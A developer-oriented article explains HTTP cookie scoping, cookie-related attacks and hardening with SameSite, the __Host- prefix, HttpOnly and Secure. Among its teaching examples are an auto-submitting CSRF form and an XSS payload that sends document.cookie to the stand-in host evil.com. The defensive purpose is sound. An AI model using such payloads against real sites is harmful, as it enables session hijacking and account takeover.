- Published on
Cookie Security
- Authors
- Name
- Teo Selenius
- Follow @TeoSelenius
In this article you will learn everything about HTTP cookie security, what are cookie-related attacks and how to defend against them.
I will assume that the reader is a developer, and use terms like "variable" and "property" to make things easier to understand. If the reader happens not to be a developer, I apologize.
Let's begin!
What Are Cookies?
An HTTP cookie is a variable that a website can set in a browser. Cookies are practically a key-value storage, but there are some additional properties in the Cookie
class that you will learn about soon.
Usually, web servers set cookies via the Set-Cookie
HTTP response header, like so.
Set-Cookie: SessionId=s3cr3t;
However it is also possible for a website to set cookies via JavaScript:
document.cookie = 'SessionId=s3cr3t'
This is what a cookie looks like in the browser's cookie jar:
Name: 'SessionId'
Value: s3cr3t"
Domain: 'www.example.com'
ExpiresOrMaxAge: 'Session'
HostOnly: true
HttpOnly: false
Path: '/'
SameSite: 'None'
Secure: false
Browsers then send these cookies back to the webserver in the Cookie
request header, like so:
Cookie: Foo=Bar; SessionId=s3cret;
Note that browsers only send the name and value of the cookies back to the webserver.
What Are Cookies Used For?
Cookies are used for many purposes, mostly tracking, personalization, and session management. In this article, we are mainly concerned with session management.
For instance, it's common for a web application to issue a session identifier cookie to users upon authentication.
Set-Cookie: SessionId=s3cr3t
Where Are Cookies Sent?
Cookies have four properties that affect their scope, that is, to which URL addresses the cookie gets sent. These are:
domain
: To which domain, possibly including subdomains, should browsers send the cookie?hostOnly
: Should browsers only send the cookie to the exact domain that sets it, excluding subdomains?path
: To which URL paths (i.e., /foo/bar) should browsers send the cookie?secure
: Should browsers only send the cookie over encrypted channels (HTTPS, WSS) or also unencrypted (HTTP, WS)?
Who Can Set Cookies For A Website?
Any website can set cookies for:
- Its domain.
- Its parent domain (any of them except for TLD or public suffix).
- By extension, but not directly, all subdomains of the parent domain.
For example, foo.example.com
can set a cookie for .example.com
, in which case browsers will also send the cookie to example.com
and bar.example.com
.
Specifying the domain is facilitated via the Domain
property.
Can HTTP Websites Set Cookies on HTTPS Websites?
Yes. The scheme (e.g. http:// or https://) doesn't matter. Also, the port doesn't matter. For example, websites https://www.example.com:12345
and http://www.example.com
share cookies.
Domain Property
This property determines which websites the cookie should be sent to, and defaults to the hostname of the website that sets the cookie.
If www.example.com
is the one setting the cookie, then the domain
will be www.example.com
.
It is possible to change this value into, e.g. .www.example.com
, after which browsers will send the cookie to www.example.com
and all of its subdomains (foo.www.example.com
, bar.www.example.com
, etc.).
# Send the cookie to www.example.com and all subdomains of www.example.com
Set-Cookie: SessionId=s3cret; domain=.www.example.com
☝ Note
Even if you specify
domain=www.example.com
, the browser will silently change it todomain=.www.example.com
.
A website can also scope a cookie to its parent domain, with the following limitations:
- Scoping a cookie for a TLD (Top Level Domain) is not allowed.
- Scoping a cookie for a public suffix is not allowed. Read more about the list here: public suffix list
If www.example.com
scopes a cookie to .example.com
, browsers will send the cookie to example.com
and all its subdomains.
# Send the cookie to example.com and all subdomains of example.com
Set-Cookie: SessionId=s3cret; domain=.example.com
Setting the domain
property will automatically flip the hostOnly
boolean to false
. Let's look at this property next.
HostOnly Property
The HostOnly
property determines whether browsers should only send the cookie to the exact domain that created it. If it's false, browsers will also send the cookie to subdomains.
There is no manual configuration for HostOnly
in the Set-Cookie
header. It is always true
unless you set the domain
property, in which case it is always false
.
# Here HostOnly is true
Set-Cookie: SessionId=s3cret;
# Here HostOnly is false
Set-Cookie: SessionId=s3cret; domain=www.example.com
Path Property
Developers can use the path
property to limit the paths to which the cookie gets sent.
By setting the path
to /foo/bar
, browsers will only include the cookie in requests such as https://www.example.com/foo/bar
or https://www.example.com/foo/bar/hello
.
Browsers will not send it to https://www.eample.com/foo/barbars
.
# Here, the cookie only gets sent to www.example.com/foo/bar and its subdirectories.
Set-Cookie: SessionId=s3cr3t; path=/foo/bar
Cookie Attacks
There is a multitude of cookie-related security risks. Here are some of the most prominent ones:
CSRF (Cross-Site Request Forgery)
These vulnerabilities usually arise when a web application that uses cookies for session management fails to verify an HTTP POST request's origin.
Say, for example, that users could log in to AppSec Monkey and update their email addresses.
The backend code would perhaps look like this (at least if you use Django):
def update_email(request):
new_email = request.POST['new_email']
set_new_email(request.user, new_email)
Now let's say there's an evil website evil.example.com
with the following HTML form and auto-submit script:
<form method="POST" action="https://www.appsecmonkey.com/user/update-email/">
<input type="hidden" name="new_email" value="evil@example.com" />
</form>
<script type="text/javascript">
document.badform.submit()
</script>
When a user that is currently logged in to www.appsecmonkey.com
enters the malicious website, the HTML form is auto-submitted on the user's behalf, and the following HTTP POST request gets immediately sent to www.appsecmonkey.com
:
POST /user/update-email/ HTTP/1.1
Host: www.appsecmonkey.com
Cookie: SessionId=s3cr3t
...
new_email=evil@example.com
And the email address gets changed.
Notice how the SessionId
cookie was included in the request, making the attack possible.
Read more about CSRF attacks here: CSRF Attacks & Prevention
XSS (Cross-Site Scripting)
XSS vulnerabilities arise when untrusted data gets interpreted as code in a web context. They can result from many programming mistakes, but here is a simple example.
Say, we have a PHP script like this.
echo "<p>Search results for: " . $_GET('search') . "</p>"
It is vulnerable because it generates HTML unsafely. The search
parameter is not encoded correctly. An attacker can create a link such as the following, which would execute the attacker's JavaScript code on the website when the target opens it:
https://www.example.com/?search=
<script>
alert('XSS')
</script>
Results in HTML like:
<p>
Search results for:
<script>
alert('XSS')
</script>
</p>
Now what the attacker can do, is change the alert("XSS")
into something more nefarious. For example, the following IMG tag would take the logged in user's cookies and send them over to evil.com:
https://www.example.com/?search=<img
src="x"
onerror="this.src='https://www.evil.com/collect?cookie='+document.cookie"
/>
Note how the cookie was accessible to JavaScript code, making it possible to steal it. Note also how the cookie was sent in the GET request to https://www.example.com/search
, making it possible to exploit the XSS vulnerability in the context of an authenticated user.
Read more about XSS attacks here: XSS Attacks & Prevention
XS-Leaks (Cross-Site Leaks)
XS-Leaks (or Cross-Site Leaks) are a set of browser side-channel attacks. They enable malicious websites to infer data from the users of other web applications.
For instance, evil.com could send a request to www.example.com on your behalf, and based on the response time, deduce what kind of content was returned to you.
var start = performance.now()
fetch('https://www.example.com', {
mode: 'no-cors',
credentials: 'include',
}).then(() => {
var time = performance.now() - start
console.log('The request took %d ms.', time)
})
There are many, many more similar techniques and novel attacks using them. For this article's purposes, just notice that the timing attack was possible because the browser included the session cookie in the cross-site request.
Read more about XS-Leaks here: XS-Leaks Attacks & Prevention
Network Attacks
An attacker on the same network as the browser user can trivially intercept the network connection between the browser and the webserver. That's just how the network protocols work.
As such, developers and architects should not consider network medium a security control (encryption is a security control), but that's a rant for another day.
An attacker on the network can then force the target user's browser into making an unencrypted connection to http://www.example.com
and then steal the session cookie from the request.
Notice how the session cookie, which was only supposed to be used on an HTTPS page, was transmitted over an unencrypted connection.
Network attacks can also be used to set or overwrite cookies. For example, the attacker could again force an unencrypted connection to the webserver and then forge a reply with a Set-Cookie
header.
Set-Cookie: SessionId=123
The security implications of forcing a cookie into a user's browser vary.
A typical attack is session fixation. An attacker forces a session identifier into the target user's browser and then waits for the user to log in. The vulnerable web application fails to create a new session identifier on login. Instead, it authenticates the cookie already known to the attacker.
For our purposes here, observe how it was possible to set the cookie over an unencrypted connection.
Malicious Subdomains
Let's say you have safe.example.com
and hacked.example.com
.
The first way in which the hacked domain could attack your users' cookies is that you have for some reason specified the domain
property and scoped your cookie to .example.com
.
Now hacked.example.com
only has to redirect your logged-in user to their website, and the cookies will be theirs.
The second way is that hacked.example.com
sets or overwrites a cookie and scopes it to the domain .example.com
. Now the cookie, which was set by hacked.example.com
will be sent to safe.example.com
. The security implications again differ for each application, but session fixation is a common threat.
Physical Attacks
A subsequent computer user can inspect the browser's memory, cache, cookies, storage, etc. after the previous user has left. Suppose there are valid session identifiers on the disk. In that case, the attacker can restore the session and log in as the previous computer user.
Attack Prerequisites
We have identified the following key requirements for various cookie-related attacks.
- Browsers allow transmitting the cookie in cross-site requests.
- Browsers allow JavaScript code to access the cookie.
- Browsers send the cookie in unencrypted requests.
- Browsers allow setting the cookie within unencrypted connections.
- Browsers allow for subdomains to set the cookie.
- Browsers allow for the cookie to persist upon browser sessions.
- Webservers don't create a new session identifier upon authentication.
- Webservers don't invalidate session identifiers upon logout.
- Webservers don't adequately clear the cookies upon logout.
Let's now start looking into how we can deprive attackers of each of them, one by one.
SameSite Property
The first cookie security feature that we'll talk about is the SameSite
property.
Remember how the prerequisite for many attacks (CSRF, XSS, some XS-Leaks) was that the browser includes the session cookie in cross-site requests? Well, that precisely is what SameSite
prevents.
There are three modes in SameSite
, depending on how strict you want the protection to be: Lax
, Strict
and None.
Generally, Lax
is suitable for all applications, while Strict
tends to be a better fit for security-critical systems.
SameSite Lax
The lax mode mitigates many XS-leaks, most CSRF, and also some XSS attacks. It does this by preventing the cookie from being included in cross-site requests, except for top-level navigation when the user clicks a link, gets redirected, opens a bookmark, etc.
Set-Cookie: SessionId=s3cr3t; SameSite=Lax; ...
SameSite Strict
The strict mode prevents even more XS-Leaks and CSRF attacks and is pretty good at blocking reflected XSS attacks. It doesn't allow for browsers to include the cookie even in top-level browsing. The strict mode will usually hurt UX and is not suitable for all applications.
Set-Cookie: SessionId=s3cr3t; SameSite=Strict; ...
SameSite None
None
is just for opting out because SameSite=Lax
is starting to be the default on newer browsers.
Set-Cookie: SessionId=s3cr3t; SameSite=None; Secure; ...
Read more about the SameSite property here: SameSite Cookies and Why They Are Awesome
__Host-prefix
The next cookie security feature on our list is the __Host
prefix. This is not very widely known, but when it comes to cookies, name matters! Name your cookies __Host-Something
, and web browsers will apply two significant restrictions on how webservers can set the cookie.
- Browsers will not allow setting the cookie over an unencrypted connection or without the
Secure
attribute. - Browsers will not allow setting the
domain
property, forcing the cookie to be ahostOnly
cookie (hence the prefix name).
Set-Cookie: __Host-SessionId=s3cr3t ...options...
The __Host-prefix defends against network attacks and malicious subdomains.
HttpOnly Property
One of the cookie security features is there specifically to protect against XSS, and that is the HttpOnly
property.
This property will prevent JavaScript code from accessing the cookie, preventing an attacker from stealing it in the event of a successful XSS (Cross-Site Scripting) attack.
Set-Cookie: SessionId=s3cr3t; ...other options... HttpOnly
Secure cookies
Finally, the Secure
property will prevent the cookie from being leaked over an (accidental or forced) unencrypted connection to the webserver. Browsers won't include cookies set with the Secure
property in http:// or ws:// requests, only https:// and ws://.
Set-Cookie: SessionId=s3cr3t; ...other options... Secure
Handling User Login
To prevent the session fixation attacks mentioned above, you must always create a new session identifier for the user upon successful authentication. Never "make the old session id authenticated".
Expiration
By setting an expiration time for a cookie, browsers won't delete it before that time arrives, even if the user closes the browser.
Set-Cookie: SessionId=s3cr3t; Expires=Tue, 15 Feb 2021 08:00:00 GMT
As such, it's best not to set this property. Omitting Expires
will make the cookie a session cookie in browser terminology, which means that the browser is much more likely to delete it when the browser closes.
I say "much more likely" because browsers can decide to keep the cookies on disk for "restore session" features.
Still, it's best to try, at least.
Clearing cookies
Webservers delete cookies by setting a new cookie with a dummy value such as "deleted" with an expiration time set to the past.
Set-Cookie: SessionId=deleted; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT
You can still do that. But you can also return the Clear-Site-Data
header to instruct the browser to remove any cookies for your website.
Clear-Site-Data: 'cookies'
In fact, the Clear-Site-Data
can do much more:
Clear-Site-Data: "cookies", "cache", "storage", "executionContexts"
Read more about Clear-Site-Data
here: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Clear-Site-Data
Handling User Logout
When the user logs out, in addition to clearing the cookies from the browser, you must invalidate the session identifier on the server-side.
This way, even if a cookie gets compromised after the user has logged out, that cookie no longer has any value to an attacker.
The Perfect Cookie
This is a reasonable secure cookie:
Set-Cookie: __Host-SessionId=s3cr3t; Secure; HttpOnly; SameSite=Lax; Path=/
This is as secure as we can currently get, but the SameSite=Strict
may hurt user experience.
Set-Cookie: __Host-SessionId=s3cr3t; Secure; HttpOnly; SameSite=Strict; Path=/
Conclusion
There are quite a few cookie-related attacks, but luckily modern browsers provide us with mechanisms to mitigate them quite well.
- Name your cookies __Host-something to protect against network attacks and malicious subdomains.
- Omit the
Domain
property to protect against malicious subdomains. - Set the
SameSite
property to eitherLax
orStrict
to protect against XSS, CSRF, and XS-Leaks attacks. - Set the
HttpOnly
property to protect the cookie from theft upon XSS attacks. - Set the
Secure
property to protect the cookie from being leaked when targeted by network attacks. - Create a fresh session cookie for your users upon authentication.
- Omit the
Expires
property when setting the cookie to instruct browsers to delete it after the browser closes. They won't always obey, but it's best to try, at least. - Invalidate the session cookies on the server-side when the user logs out so that the cookie will not be useful to an attacker anymore.
- Clear the cookies by setting a dummy value and an expiration time in the past.
- Also clear the cookies and preferably the cache, storage, and executionContext as well by sending the Clear-Site-Data header upon logout.